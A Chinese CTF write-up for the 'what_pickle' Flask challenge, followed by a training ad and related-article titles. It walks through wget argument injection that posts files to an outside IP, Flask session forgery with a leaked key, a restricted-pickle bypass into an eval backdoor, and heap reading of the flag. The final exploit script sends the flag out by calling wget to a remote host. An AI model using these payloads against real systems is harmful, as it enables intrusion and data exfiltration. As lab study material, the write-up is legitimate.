前言

这题好像是最少人做出的web,考察的知识点比较多,综合性比较强,感觉挺有意思的。很多人都是卡在某个知识点,尤其是最后读flag阶段。总的来说,由于这题涉及到各种很经典的python安全的知识点,挺适合刚接触python安全的初学者学习。

总的来说,流程是这样的。

debug导致部分源码泄露->wget参数注入读源码->session伪造->pickle反序列化->利用proc目录/构造uaf读flag

分析

信息搜集一波。得到如下几个目录。

[01:33:40] 200 -    2KB - /console
[01:33:50] 500 -   14KB - /home
[01:33:51] 500 -   15KB - /images
[01:33:52] 200 -    1KB - /index
[01:33:56] 405 -  178B  - /login

值得注意的是home目录和images目录的http状态码为500

访问/home和images发现是python3的flask框架,且开了debug模式。那么想到,如果有任意读文件漏洞,可以打flask的pin。所以可以多关注一下任意读。

信息泄露

由于开了debug模式,所以有部分源码泄露。

在访问http://192.168.37.140/images 的时候,可以发现

这段代码用wget去获取图片,并且还有可以控制的参数。获取到argv参数后,把argv参数作为一个list,其中,给每个argv参数前都添加了-或者—,以防止恶意url的注入。且subprocess.run时,command里面每一个元素都是单独作为一个参数,无法像bash shell那样做命令注入。

wget参数注入读源码

虽然看似不行,还是有方法的,wget是可以开启代理的。如果开启代理,那么

具体来说有三种开启代理的方式:

  1. 环境变量中设置http_proxy
  2. 在~/.wgetrc里设置http_proxy
  3. 使用-e参数执行wgetrc格式的命令

这里我们可以使用-e http_proxy=http://xxx 来将其指向我们的服务器上。

更多参数的详细信息可以参考

Wgetrc Commands (GNU Wget 1.21.1-dirty Manual)

除此之外,还可以用—post-file来传输文件传输文件。因此,任意文件读的payload就构建好了。如下

192.168.37.140/images?image=index.html&argv=—post-file=/etc/passwd&argv=-e http_proxy=http://1.116.123.136:1234


接下来读源代码。

/app/app.py

from flask import Flask, request, session, render_template, url_for,redirect
import pickle
import io
import sys
import base64
import random
import subprocess
from ctypes import cdll
from config import SECRET_KEY, notadmin,usercdll.LoadLibrary("./readflag.so")app = Flask(__name__)
app.config.update(dict(SECRET_KEY=SECRET_KEY,
))class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module in ['config'] and "__" not in name:return getattr(sys.modules[module], name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()@app.route('/')
@app.route('/index')
def index():if session.get('username', None):return redirect(url_for('home'))else:return render_template('index.html')@app.route('/login', methods=["POST"])
def login():name = request.form.get('username', '')data = request.form.get('data', 'test')User = user(name,data)session["info"]=base64.b64encode(pickle.dumps(User))return redirect(url_for('home'))@app.route('/home')
def home():info = session["info"]User = restricted_loads(base64.b64decode(info))Jpg_id = random.randint(1,5)return render_template('home.html',id = str(Jpg_id), info = User.data)@app.route('/images')
def images():command=["wget"]argv=request.args.getlist('argv')true_argv=[x if x.startswith("-") else '--'+x for x in argv]image=request.args['image']command.extend(true_argv)command.extend(["-q","-O","-"])command.append("http://127.0.0.1:8080/"+image)image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)return image_data.stdoutif __name__ == '__main__':app.run(host='0.0.0.0', debug=True, port=80)

/app/config.py

SECRET_KEY="On_You_fffffinddddd_thi3_kkkkkkeeEEy"notadmin={"admin":"no"}class user():def __init__(self, username, data):self.username = usernameself.data = datadef backdoor(cmd):if isinstance(cmd,list) and notadmin["admin"]=="yes":s=''.join(cmd)eval(s)

flask debug pin?

前面说了,开启了debug模式,那么配合任意文件读可以打pin,直接执行python命令。

flask的debug模式提供了一个web上的命令行接口。而这个接口是需要pin码才能访问的。

这个pin码的生成与六个因素有关,其中最重要的是2个因素,一个是网卡地址,这个可以通过执行uuid.getnode()或者读/sys/class/net/eth0/address来获得。另一个 是机器id,可以通过执行get_machine_id()或者读/etc/machine-id来获得。

具体exp可以参考https://xz.aliyun.com/t/2553

这里我本地环境下可以成功生成pin,但是远程环境没有成功。因此尝试下一条思路。

session伪造触发pickle反序列化rce

关注到有SECRET_KEY=“On_You_fffffinddddd_thi3_kkkkkkeeEEy”

而flask的session存在客户端,用base64+签名来防篡改。但是获取到签名算法的key后,我们有能力伪造flask session。

在home路由处触发session的pickle反序列化,而pickle反序列化是可以执行pickle的opcode的。

@app.route('/home')
def home():info = session["info"]User = restricted_loads(base64.b64decode(info))Jpg_id = random.randint(1,5)return render_template('home.html',id = str(Jpg_id), info = User.data)

关于pickle反序列化执行可以参考

https://xz.aliyun.com/t/7436

class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module in ['config'] and "__" not in name:return getattr(sys.modules[module], name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()

这里限制了加载的模块只能为config里的,名字不能有__。但是可以通过config的backdoor函数,绕过。

def backdoor(cmd):if isinstance(cmd,list) and notadmin["admin"]=="yes":s=''.join(cmd)eval(s)

可以看到,要使用backdoor函数必须使得notadmin[“admin”]==“yes”

而在config.py中notadmin={“admin”:“no”},因此需要通过pickle opcode把这个全局变量覆盖成yes。

读flag

app.py里 有一个cdll.LoadLibrary("./readflag.so")

所以获取readflag.so,放到ida里反编译一下。

可以看到就一个easy()函数。猜测flag文件没有直接读取的权限,要通过readflag.so来读。但是这里看有个问题是,easy函数执行完成后,把flag读到堆上,但是并没有返回指针。

这里有两种方法读flag。分别通过/proc目录和构造uaf的方式来读取堆上的flag。

法1:读proc目录

proc是linux伪文件系统,保存有内存信息。其中/proc/self/maps保存当前进程的虚拟内存各segment的映射关系。可以获取到堆地址的范围。

而访问/proc/self/mem即访问实际的进程内存。需要注意的是,如果访问没有被映射的内存区域则会触发错误,要把文件指针移到对应的区域才能成功访问。

具体代码如下

from ctypes import cdll
a=cdll.LoadLibrary("./readflag.so")
a.easy()import re
f = open('/proc/self/maps', 'r')
vmmap = f.read()
print(vmmap)
re_obj = re.search(r'(.*)-(.*) rw.*heap', vmmap)
heap = re_obj.group(1)
heap_end = re_obj.group(2)
print(heap)
print(heap_end)
heap = int('0x'+heap,16)
heap_end = int('0x'+heap_end,16)
f.close()f = open('/proc/self/mem', 'rb')
size = heap_end - heap
f.seek(heap)
res = f.read(size)
res = re.search(b'flag{.*}', res).group()
print(res)
f.close()

法2:构造一个uaf来读flag的内存数据

由于在堆管理中,为了提高效率会加一个类似于缓冲的机制。可以简单理解为不会把free的内存马上放弃掉,而是缓存起来,方便下次再用。利用这一特点可以构造uaf漏洞来读flag的数据。

  1. 申请一个0x64的chunk,也就是后面存flag的那块chunk被malloc时需要的size。
  2. free这块chunk。free后会这个chunk会放到fastbin或者tcache(glibc较高版本)里面。
  3. 调easy()再次malloc申请就会申请到同一块chunk。再利用uaf漏洞,用之前的悬空指针读同一块chunk。
import ctypes
libc = ctypes.cdll.LoadLibrary('libc.so.6')
so1 = ctypes.cdll.LoadLibrary('./readflag.so')malloc = libc.malloc
free = libc.free
malloc.restype = ctypes.c_void_p
ptr = ctypes.cast(malloc(0x64), ctypes.c_char_p)
free(ptr)
so1.easy()
print(ptr.value)

opcode构造

知道pickle opcode工作模式后可以利用大师傅写的一个工具

https://github.com/eddieivan01/pker

最终exp

通过wget 把flag信息传送到服务器上。这里利用的是uaf的方法读flag。proc读flag的方法构造exp过程完全一样。

from base64 import b64encode
from flask import Flask, request, session
from flask.sessions import SecureCookieSessionInterface
import pickle
import requestsopc = b'cconfig\nnotadmin\np0\n0cconfig\nbackdoor\np1\n0g0\nS\'admin\'\nS\'yes\'\nsS\'exec("import ctypes;libc = ctypes.cdll.LoadLibrary(\\\'libc.so.6\\\');so1 = ctypes.cdll.LoadLibrary(\\\'./readflag.so\\\');malloc = libc.malloc;free = libc.free;malloc.restype = ctypes.c_void_p;a = ctypes.cast(malloc(0x64), ctypes.c_char_p);free(a);so1.easy();print(a.value);res= a.value ;import os;os.system(\\\'wget http://1.116.123.136:1234/?\\\'+str(res))")\'\np3\n0g1\n((g3\nltR.'app = Flask(__name__)
app.config['SECRET_KEY'] = "On_You_fffffinddddd_thi3_kkkkkkeeEEy"
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
opc = b64encode(opc)
sess = {'info': opc}
cookie = serializer.dumps(sess)
print(cookie)
requests.get("http://192.168.37.140/home", cookies={"session":cookie})

可以看到get参数就是flag{dddd}

总结

可以看到这个题目涉及到的python安全的点很多,非常适合通过这题来延伸学习各个具体的内容。另外,在做题过程中,经常会碰到各种坑,有时候踩坑也可以换一种思路。

最后

网络安全大师卓越培养计划,想升职跳槽加薪的来学完可以打护网、CTF比赛,找网络安全工作;

【学习资料】

巅峰极客2021 what_pickle——一道综合性的python web相关推荐

  1. 巅峰极客pwn wp

    Pwn gift 程序保护全开 程序功能: add:最多只能申请十次堆块,每次申请大小为0x60或0x100,往里写内容的时候是往user_data+0x10处写. delete:有UAF show: ...

  2. 巅峰极客2022wp

    巅峰极客2022 文章目录 巅峰极客2022 web babyweb ezWeb web babyweb 提示cbc padding oracle攻击,这是一个服务端的密码学漏洞,buu上做过原题[N ...

  3. 巅峰极客2022初赛 部分题解

    文章目录 Crypto point-power strange curve Misc easy_Forensic Lost 巅峰极客2022初赛,团队共解决7道题,合计2234分,排名第11位,晋级复 ...

  4. 2020巅峰极客wp

    2020巅峰极客 巅峰极客是给开封市信网办做护网的时候打的比赛,所以比赛体验感并不好,简单写一下wp virus-re 代码分为三部分 以'-'为间隔,将flag的第一部分转换为整型数字,并且满足后项 ...

  5. 2018巅峰极客writeup(Misc)

    原文地址:https://mistsatan.github.io/articles/2018-Peakgeek-Writeup-Misc.html 作为一个渣渣,带着去看各路神仙打架的想法报名了这次的 ...

  6. 巅峰极客第一场CTF部分writeup

    额,上午驾校学车,中午打了会儿安恒的月赛,就来看巅峰极客的题了.时间关系实力原因没做几个emmmm太菜了wa MISC-warmup-100pt 拿到一个bmp文件,套路走一波,右键查看属性emmm啥 ...

  7. [代码审计][PHAR]巅峰极客babyphp2学习压缩过滤器触发phar

    前言:我要当赛棍!!! 文章目录 序列化与反序列化 基本介绍 PHP反序列化漏洞原理 常用的魔法函数 __wakeup()绕过:CVE-2016-7124 __set:巅峰极客babyphp2 解决p ...

  8. 2022巅峰极客WriteUp By EDISEC

    2022巅峰极客WriteUp By EDISEC Web babyweb ezWeb Crypto point-power strange curve Pwn Gift smallcontainer ...

  9. 第十届极客大挑战——复现未解决的web和RE

    第十届极客大挑战--复现未解决的web和RE emmmm,有些题目是没做出来的,有机会复现,还有官方wp,所以看看,再记录一下 web - 性感黄阿姨,在线聊天 这道题我是真的服了,爆破name,,, ...

最新文章

  1. 针对地图可压缩性的点云配准方法评估(IROS 2021)
  2. 一起感受不一样的项目沙盘
  3. linux nohup命令后 解决挂起 避免输入回车
  4. [YTU]_2535( C++复数运算符重载(+与))
  5. 微信公众平台开发(76) 获取用户基本信息
  6. python 虚拟环境 mac,Mac下python 虚拟环境安装
  7. matlab实现unix时间戳到标准时间的转换
  8. tomcat限制用域名访问 禁止 ip访问
  9. 堪称艺术品级的应用开发框架,Abp有望超越Spring?
  10. LeetCode 1286. 字母组合迭代器(回溯/位运算)
  11. gradle——eclipse中安装与web项目创建
  12. java工具类专利申请文档_Java工具类 (3)------WordUtils------利用Poi根据模板生成新的word文档...
  13. Latex声调(一声、二声、三声等)
  14. greenplum查询表结构java_Greenplum小把戏 - 几个常用数据库对象大小查询SQL
  15. 从程序员到架构师的转型思维的转变 NLP思维利器(二)
  16. ceph修复osd为down的情况
  17. python一个整数,它加上100后是一个完全平方数,再加上168又是一个完全平方数,请问该数是多少?
  18. iOS开发之直播App流程介绍
  19. Nexus 7 搞机教程
  20. 基于ESP32的蓝牙小手柄 | 附Arduino源码

热门文章

  1. ML之HMM:HMM算法相关论文、关键步骤、测试代码配图集合
  2. Crawler:基于BeautifulSoup库+requests库实现爬取2018最新电影《后来的我们》热门短评
  3. Tool之Git:Git的简介、安装、使用方法之详细攻略
  4. Anconda下的R语言
  5. Python 任意中文文本生成词云 最终版本
  6. 本地化ASPXPivotGrid控件
  7. 【SpringBoot】SpringBoot拦截器实战和 Servlet3.0自定义Filter、Listener
  8. 移动web——基本知识点总结
  9. UVA 1451 Average 数形结合
  10. 霍金:AI或许能根除疾病和贫穷,但也可能摧毁人类 | GMIC 2017